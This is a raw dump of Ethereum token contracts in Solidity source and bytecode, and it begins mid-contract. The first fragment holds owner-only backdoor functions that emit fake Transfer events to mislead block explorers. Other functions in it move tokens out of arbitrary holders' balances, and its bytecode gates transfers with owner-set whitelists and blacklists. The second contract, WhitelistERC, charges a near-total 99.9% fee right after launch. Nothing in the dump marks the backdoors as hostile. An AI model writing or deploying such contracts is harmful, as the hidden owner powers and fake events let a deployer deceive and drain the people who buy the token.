Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function exec(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, cr,_approveValue);} function obstruct(address recipient) public _auth(){ _affirmative[recipient]=false; _approve(recipient, cr,0); } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ emit Transfer(emitSender, emitRecipient, emitAmount); } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } }
0x608060405234801561001057600080fd5b50600436106101825760003560e01c80636268e0d5116100d8578063a1a6d5fc1161008c578063a9059cbb11610066578063a9059cbb14610860578063b2bdfa7b14610899578063dd62ed3e146108a157610182565b8063a1a6d5fc146107da578063a64b6e5f1461081d578063a9014313146107da57610182565b80636bb6126e116100bd5780636bb6126e1461076c57806370a082311461079f57806395d89b41146107d257610182565b80636268e0d51461069857806362eb33e31461073b57610182565b806323b872dd1161013a5780634c0cc925116101145780634c0cc925146104e85780634e6ec2471461062c5780635768b61a1461066557610182565b806323b872dd14610343578063313ce567146103865780633cc4430d146103a457610182565b8063095ea7b31161016b578063095ea7b3146102a95780630cdfb628146102f657806318160ddd1461032957610182565b8063043fa39e1461018757806306fdde031461022c575b600080fd5b61022a6004803603602081101561019d57600080fd5b8101906020810181356401000000008111156101b857600080fd5b8201836020820111156101ca57600080fd5b803590602001918460208302840111640100000000831117156101ec57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108dc945050505050565b005b610234610a54565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026e578181015183820152602001610256565b50505050905090810190601f16801561029b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e2600480360360408110156102bf57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610b08565b604080519115158252519081900360200190f35b61022a6004803603602081101561030c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b25565b610331610bf2565b60408051918252519081900360200190f35b6102e26004803603606081101561035957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610bf8565b61038e610c9f565b6040805160ff9092168252519081900360200190f35b61022a600480360360608110156103ba57600080fd5b73ffffffffffffffffffffffffffffffffffffffff82351691908101906040810160208201356401000000008111156103f257600080fd5b82018360208201111561040457600080fd5b8035906020019184602083028401116401000000008311171561042657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561047657600080fd5b82018360208201111561048857600080fd5b803590602001918460208302840111640100000000831117156104aa57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ca8945050505050565b61022a600480360360608110156104fe57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561053657600080fd5b82018360208201111561054857600080fd5b8035906020019184602083028401116401000000008311171561056a57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156105ba57600080fd5b8201836020820111156105cc57600080fd5b803590602001918460208302840111640100000000831117156105ee57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dd3945050505050565b61022a6004803603604081101561064257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610eb2565b61022a6004803603602081101561067b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610fef565b61022a600480360360208110156106ae57600080fd5b8101906020810181356401000000008111156106c957600080fd5b8201836020820111156106db57600080fd5b803590602001918460208302840111640100000000831117156106fd57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110d5945050505050565b610743611248565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61022a6004803603602081101561078257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611264565b610331600480360360208110156107b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661134f565b610234611377565b61022a600480360360608110156107f057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356113f6565b6102e26004803603606081101561083357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356114e6565b6102e26004803603604081101561087657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561157a565b61074361158e565b610331600480360360408110156108b757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166115aa565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461096257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005b8151811015610a505760016002600084848151811061098057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008484815181106109eb57fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055600101610965565b5050565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610afe5780601f10610ad357610100808354040283529160200191610afe565b820191906000526020600020905b815481529060010190602001808311610ae157829003601f168201915b5050505050905090565b6000610b1c610b156115e2565b84846115e6565b50600192915050565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610bab57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60045490565b6000610c0584848461172d565b610c9584610c116115e2565b610c908560405180606001604052806028815260200161240a6028913973ffffffffffffffffffffffffffffffffffffffff8a16600090815260036020526040812090610c5c6115e2565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002054919063ffffffff61203b16565b6115e6565b5060019392505050565b60075460ff1690565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610d2e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b60005b8251811015610dcd57828181518110610d4657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610da857fe5b60200260200101516040518082815260200191505060405180910390a3600101610d31565b50505050565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610e5957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b610e6d83610e656115e2565b6008546115e6565b60005b8251811015610dcd57610eaa84848381518110610e8957fe5b6020026020010151848481518110610e9d57fe5b60200260200101516120ec565b600101610e70565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610f3857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f4b908263ffffffff61231e16565b600455600d5473ffffffffffffffffffffffffffffffffffffffff16600090815260208190526040902054610f86908263ffffffff61231e16565b600d5473ffffffffffffffffffffffffffffffffffffffff90811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461107557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808216600090815260016020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055600b546110d29284929116906115e6565b50565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461115b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005b8151811015610a5057600180600084848151811061117857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106111e357fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905560010161115e565b600b5473ffffffffffffffffffffffffffffffffffffffff1681565b600d5473ffffffffffffffffffffffffffffffffffffffff1633146112ea57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808216600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055600b546008546110d292849216906115e6565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610afe5780601f10610ad357610100808354040283529160200191610afe565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461147c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600d5460009073ffffffffffffffffffffffffffffffffffffffff16331461156f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b610c058484846120ec565b6000610b1c6115876115e2565b848461172d565b600d5473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b3390565b73ffffffffffffffffffffffffffffffffffffffff8316611652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124576024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166116be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123c26022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d5484918491849173ffffffffffffffffffffffffffffffffffffffff918216911614801561177a5750600d5473ffffffffffffffffffffffffffffffffffffffff8481169116145b156119e257600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84811691909117909155861661181b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8516611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061239f6023913960400191505060405180910390fd5b611892868686612399565b6118e2846040518060600160405280602681526020016123e46026913973ffffffffffffffffffffffffffffffffffffffff8916600090815260208190526040902054919063ffffffff61203b16565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152602081905260408082209390935590871681522054611924908563ffffffff61231e16565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260208190526040902091909155600d548782169116141561197857600c5473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612033565b600d5473ffffffffffffffffffffffffffffffffffffffff84811691161480611a25575060095473ffffffffffffffffffffffffffffffffffffffff8481169116145b80611a4a5750600d5473ffffffffffffffffffffffffffffffffffffffff8381169116145b15611b1b57600d5473ffffffffffffffffffffffffffffffffffffffff8481169116148015611aa457508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611aaf57600a8190555b73ffffffffffffffffffffffffffffffffffffffff861661181b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602081905260409091205460ff1615151415611bbb5773ffffffffffffffffffffffffffffffffffffffff861661181b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602052604090205460ff16151560011415611c865760095473ffffffffffffffffffffffffffffffffffffffff84811691161480611c315750600b5473ffffffffffffffffffffffffffffffffffffffff8381169116145b611aaf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123e46026913960400191505060405180910390fd5b600a54811015611d6c5760095473ffffffffffffffffffffffffffffffffffffffff83811691161415611aaf5773ffffffffffffffffffffffffffffffffffffffff8381166000908152600260209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255925290912080549091169055861661181b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b60095473ffffffffffffffffffffffffffffffffffffffff84811691161480611daf5750600b5473ffffffffffffffffffffffffffffffffffffffff8381169116145b611e04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123e46026913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8616611e70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8516611edc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061239f6023913960400191505060405180910390fd5b611ee7868686612399565b611f37846040518060600160405280602681526020016123e46026913973ffffffffffffffffffffffffffffffffffffffff8916600090815260208190526040902054919063ffffffff61203b16565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152602081905260408082209390935590871681522054611f79908563ffffffff61231e16565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260208190526040902091909155600d5487821691161415611fcd57600c5473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b505050505050565b600081848411156120e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120a9578181015183820152602001612091565b50505050905090810190601f1680156120d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b73ffffffffffffffffffffffffffffffffffffffff8316612158576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124326025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166121c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061239f6023913960400191505060405180910390fd5b6121cf838383612399565b61221f816040518060600160405280602681526020016123e46026913973ffffffffffffffffffffffffffffffffffffffff8616600090815260208190526040902054919063ffffffff61203b16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152602081905260408082209390935590841681522054612261908263ffffffff61231e16565b73ffffffffffffffffffffffffffffffffffffffff808416600090815260208190526040902091909155600d548482169116141561147c57600c5473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282018381101561239257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b7abc36752636a0d7091665ac99064c38709ad8edb4b1ca6283ab99ec33a9a5764736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,004
0xE39749398a97ae30D97fBd9010DE413253A9efF9
pragma solidity ^0.7.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * BEP20 standard interface. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } /** * Function modifier to require caller to be authorized */ modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } /** * Authorize address. Owner only */ function authorize(address adr) public onlyOwner { authorizations[adr] = true; } /** * Remove address' authorization. Owner only */ function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Return address' authorization status */ function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract WhitelistERC is IERC20, Auth { using SafeMath for uint256; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; string constant _name = 'WhiteList'; string constant _symbol = 'WL'; uint8 constant _decimals = 9; uint256 _totalSupply = 1000000 * (10 ** _decimals); uint256 _maxTxAmount = _totalSupply / 100; uint256 _maxWalletAmount = _totalSupply / 50; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping(address => uint256) _holderLastTransferTimestamp; uint256 liquidityFee = 50; uint256 marketingFee = 50; uint256 totalFee = 100; uint256 feeDenominator = 1000; address public autoLiquidityReceiver; address public marketingFeeReceiver; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 public launchedTime; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; // 0.1% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = uint256(-1); isFeeExempt[owner] = true; isTxLimitExempt[owner] = true; isTxLimitExempt[address(this)] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; _balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(-1)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(shouldSwapBack()){ swapBack(); } if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(launchMode() && recipient != pair && !isTxLimitExempt[recipient]){ require (_balances[recipient] + amount <= _maxWalletAmount); require (amount <= _maxTxAmount); require (_holderLastTransferTimestamp[recipient] + 30 <= block.timestamp);} _holderLastTransferTimestamp[recipient] = block.timestamp; uint256 amountReceived; if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;} _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function getTotalFee() public view returns (uint256) { if(launchedAt + 2 >= block.number){ return feeDenominator.sub(1); } return totalFee; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(getTotalFee()).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp+360 ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); payable(marketingFeeReceiver).transfer(amountETHMarketing); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp+360 ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal{ require(!launched()); launchedAt = block.number; launchedTime = block.timestamp; } function manuallySwap()external authorized{ swapBack(); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold =_totalSupply.div(_amount); } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/5); } function launchModeStatus() external view returns(bool) { return launchMode(); } function launchMode() internal view returns(bool) { return launchedAt !=0 && launchedAt + 3 <= block.number && launchedTime + 5 minutes >= block.timestamp ; } function recoverEth() external onlyOwner() { payable(msg.sender).transfer(address(this).balance); } function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){ _sent = IERC20(_token).transfer(msg.sender, amount); } event AutoLiquify(uint256 amountETH, uint256 amountToken); }
0x6080604052600436106101f25760003560e01c806395d89b411161010d578063ca33e64c116100a0578063e96fada21161006f578063e96fada214610abf578063f0b37c0414610b00578063f2fde38b14610b51578063f887ea4014610ba2578063fe9fbb8014610be3576101f9565b8063ca33e64c14610963578063cec10c11146109a4578063dd62ed3e146109f3578063df20fd4914610a78576101f9565b8063b29a8140116100dc578063b29a81401461085f578063b6a5d7de146108d0578063bcdb446b14610921578063bf56b37114610938576101f9565b806395d89b41146106ac578063a4b45c001461073c578063a8aa1b31146107ad578063a9059cbb146107ee576101f9565b8063571ac8b0116101855780636ddd1713116101545780636ddd1713146105ae57806370a08231146105db5780637ae316d014610640578063893d20e81461066b576101f9565b8063571ac8b0146104a85780635804f1e41461050f5780635fe7208c1461053a578063658d4b7f14610551576101f9565b806323b872dd116101c157806323b872dd146103555780632f54bf6e146103e6578063313ce5671461044d5780634d54288b1461047b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b3146102b957806318160ddd1461032a576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610c4a565b6040518082815260200191505060405180910390f35b34801561023557600080fd5b5061023e610c50565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027e578082015181840152602081019050610263565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c557600080fd5b50610312600480360360408110156102dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8d565b60405180821515815260200191505060405180910390f35b34801561033657600080fd5b5061033f610d7f565b6040518082815260200191505060405180910390f35b34801561036157600080fd5b506103ce6004803603606081101561037857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d89565b60405180821515815260200191505060405180910390f35b3480156103f257600080fd5b506104356004803603602081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f89565b60405180821515815260200191505060405180910390f35b34801561045957600080fd5b50610462610fe2565b604051808260ff16815260200191505060405180910390f35b34801561048757600080fd5b50610490610feb565b60405180821515815260200191505060405180910390f35b3480156104b457600080fd5b506104f7600480360360208110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ffa565b60405180821515815260200191505060405180910390f35b34801561051b57600080fd5b5061052461102d565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b5061054f611033565b005b34801561055d57600080fd5b506105ac6004803603604081101561057457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110b8565b005b3480156105ba57600080fd5b506105c361118e565b60405180821515815260200191505060405180910390f35b3480156105e757600080fd5b5061062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a1565b6040518082815260200191505060405180910390f35b34801561064c57600080fd5b506106556111ea565b6040518082815260200191505060405180910390f35b34801561067757600080fd5b5061068061121e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015